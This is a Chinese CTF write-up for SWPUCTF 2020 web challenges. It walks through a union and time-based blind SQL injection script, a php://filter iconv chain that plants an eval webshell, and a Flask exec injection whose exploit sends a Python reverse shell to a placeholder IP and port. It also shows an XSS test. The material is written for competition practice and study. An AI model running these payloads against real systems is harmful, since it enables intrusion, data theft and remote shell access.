SWPU2020

359度防护网站

大意了啊,没有扫!来,注!来,waf!就会用SQL欺负我这个练习时长两年半的老lj。。。

/administrator.html
/home.php
/index.php.bak
/log_in.php
/robots.txt
/test.php

/robots.txt提示了/administrator.html路由,访问/administrator.html,存在一个登录框,复现的话就不搞事情了(滑稽)

下载index.php.bak得到一个请求体

GET /important_index_its_so_long_right.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

这地方才是真正的注入呀!

一顿联合注入获得登陆账号和密码:admin123 f1097380e513e86f2c1548cc1094bf4e(wllm@123)

回到/administrator.html登录,登陆成功后F12获得注释信息

1
<!--<li><a href="writeuser_00001_log.log">日志记录</a></li>-->

访问获得日志记录,base64解码,然后访问up_lo_ad_ad_min.php,看名字是upload,应该是上传,寻找上传点,找不到。。。看了wp才发现原来还有另一个库h1nt,注入得到字段内容:

1:00001:last_index_come_on_swpu_ctf.php?id=4

使用00001登录up_lo_ad_ad_min.php,出现上传点,绕不过,这里应该利用不了。。。不过此时hint字段的页面可以访问了且存在注入,直接load_file读取flag。

1
0'union select 1,2,3,load_file("/flag")--+

sqlsqlsql

涉及到的所有字符均为小写 hint1: 利用join多个大表造成延时 hint2: 好好测测我都过滤了什么内容 根据过滤的内容想应对的方法

先传一个id=1,然后F12发现SQL语句:

1
<!-- select * from users where id = '$id'-->

fuzz一下,ban了不少东西,官方wp上有的我就不说了,说点实际复现过程中遇到的问题:

  • 直接注会直接略过前1~4位,原因未知:使用reverse函数,然后将正注与反注的结果拼接(正注:ag;反注:alllf.sresu。这样很容易导致一个认知错误,就是会误认为表名是flllaag,这个我也不知道怎么解决,只能通过试错来判断了。。。)
  • concat_group默认分隔符为逗号,但是逗号被ban了:使用通配符 . 代替逗号

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests as req
import time
import string
chars = string.ascii_letters  + string.digits + "_{}."
name = ''
session = req.session()
for i in range(50):
    length = len(name)
    for char in chars:
        print(char, end="")
        target = 'http://182.150.46.187:8801/ttttt/?id='
        # 注表
        ## users,flllag
        # sql_1 = "select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
        # sql_1 = "select(reverse(group_concat(table_name)))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
        # 无列名注入
        ## flag{blind_1nj3ct10n_1s_very_s1mpl3}
        ## 官方:select(group_concat(`2`))from(select*from(select(1))as`a`join(select(2))as`b`union(select*from(flllag)))as`a`
        sql_1 = "select(group_concat(`2`))from(select*from((select(1))a)join((select(2))b)union(select*from(flllag)))c"
        sql_2 = "select({})regexp'{}'".format(sql_1, name+char)
        sql = "case'1'when(({}))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end".format(sql_2)
        SQL = "1'^(select({}))^'1".format(sql)
        # print(s)
        start = time.time()
        res = session.get(url=target + SQL)
        end = time.time()
        if end - start < 0.5:
            name += char
            print("\n[*]结果为:" + name)
            break
    if length == len(name):
        print("\n[*]最终结果为:" + name)
        break

原谅最光荣

hint: robots,题目不能出网

robots.txt

User-Agent: *
Disallow: /index.php?route=contact Disallow: /index.php?route=destinations Disallow: /index.php?route=index Disallow: /index.php?route=info Disallow: /index.php?route=pricing

尝试路径拼接,访问/./././pricing.action,返回正常,说明可以拼接路径,但是测试无法跳转,这时可以尝试远程文件包含:http://www.baidu.com.action,回显处理路径源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
function resolve_route($path) {
    $path = @urldecode($path);
    foreach ($bad_url as $ukey) {
        if (strpos($path, $ukey) === 0) {
            header('HTTP/1.1 404 Not Found');
            echo "<p style=\"color: red\">Request URL '$path' dose not exist!</p>";
            show_source('functions.php');
            return;
        }
    }

可以看到这里对路径进行一次url解码,我们可以通过二次编码%252f绕过。既然知道怎么处理路径了,接下来就是读文件了,php伪协议直接读

1
php:%252f/filter/convert.base64-encode/resource=index.action

contact.action源码中找到一个GET表单,它获得输入后直接将输入值插入html表单而不做任何处理,只有一个html实体化,这样的话我们就可以通过编码绕过然后包含执行。

http://47.116.79.40:32773/php:%252f/filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFt0eXNraWxsMTFdKTs/Pg%23.action?tyskill11=phpinfo();

关键词搜索flag,找到

open_basedir: /var/www/html/f83b25c297736f9df64b448d0cfe9c70:/flag.txt

读flag,payload

1
php:%252f/filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFt0eXNdKTs/Pg%23.action?tys=show_source("/flag.txt");

由于表单不支持POST,所以这里也许无法达成后门。

noobpy

hint1: 尝试弄出错误页面,上面有东西 hint2: User-Agent

传数组出现debug界面,然后各种尝试大概复原源码就差不多了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
from flask import Flask,render_template,request,send_from_directory
app = Flask(__name__)
whitelist = '.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz'

@app.route('/',methods=['POST','GET'])
def Hello():
    return render_template("index.html")

@app.route('/equ.php',methods=['POST'])
def Equ():
    left = request.form['left']
    for ch in left:
        if ch not in whitelist:
            return render_template("equ.html",equation="I'm",result='莫的感情的bot')
    right = request.form['right']
    for ch in right:
        if ch not in whitelist:
            return render_template("equ.html",equation="I'm",result='莫的感情的bot')
	equstr = left + "=" +right
    exec("res="+left+"=="+right)
    result= locals()['res']
    return render_template("equ.html",equation=equstr,result=result)

@app.route('/robots.txt')
def static_from_root():

额,也不知道robots.txt/source.tar是不是烟雾弹,访问返回404。。。

不管他,反正源码收集的差不多了,exec("res="+left+"=="+right)存在命令注入,使用 ; 作为命令分隔符执行命令。由于禁用了(),所以似乎没办法逃逸。同时也只导入了request,也没办法使用flask的内置函数逃逸,似乎除了官方的就没办法了(我太菜了)。

那就分析一下官方的payload:

1
left=request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];1&right=1

1=1都看得懂,主要还是前面payload的构造。

这里是通过 = 获得模块__builtins__,同理我们可以导入__import__,但是白名单中并没有引号,所以也没办法直接命令执行。接下来就是从__builtins__获得exec函数命令执行。此时request重载为<built-in function exec>,直接request[request.user_agent.string]执行UA头内容命令执行。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests as req
url ="http://noobpy.fkeuyri4yr34.das.wetolink.com:82/equ.php"
session= req.Session()
def exp(poc1,poc2):
    data = {
        "left": poc1 + "1",
        "right": "1"
    }
    header = {
        "User-Agent": poc2
    }
    res = session.post(url,data=data,headers=header)
    print(res.text)
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

simple injection

一开始以为是注入,结果F12里面action=""透露着一丝诡异的气息,不是注入,那就扫!

访问/phpmyadmin,尝试一波弱口令,没试出来,不会了。。。

太极

开局一个注册框,随便注册一个1<??>1,登陆进去发现用户名直接插入到html文本中。退出重新注册<script>alert(1)</script>,发现可以弹窗,存在XSS,但是PHPSESSID设置了HttpOnly属性,我们无法通过js脚本获取admin的cookie。

咕咕咕

重来题目的环境都关了,就不复现了。

参考

SWPUCTF2020 官方WP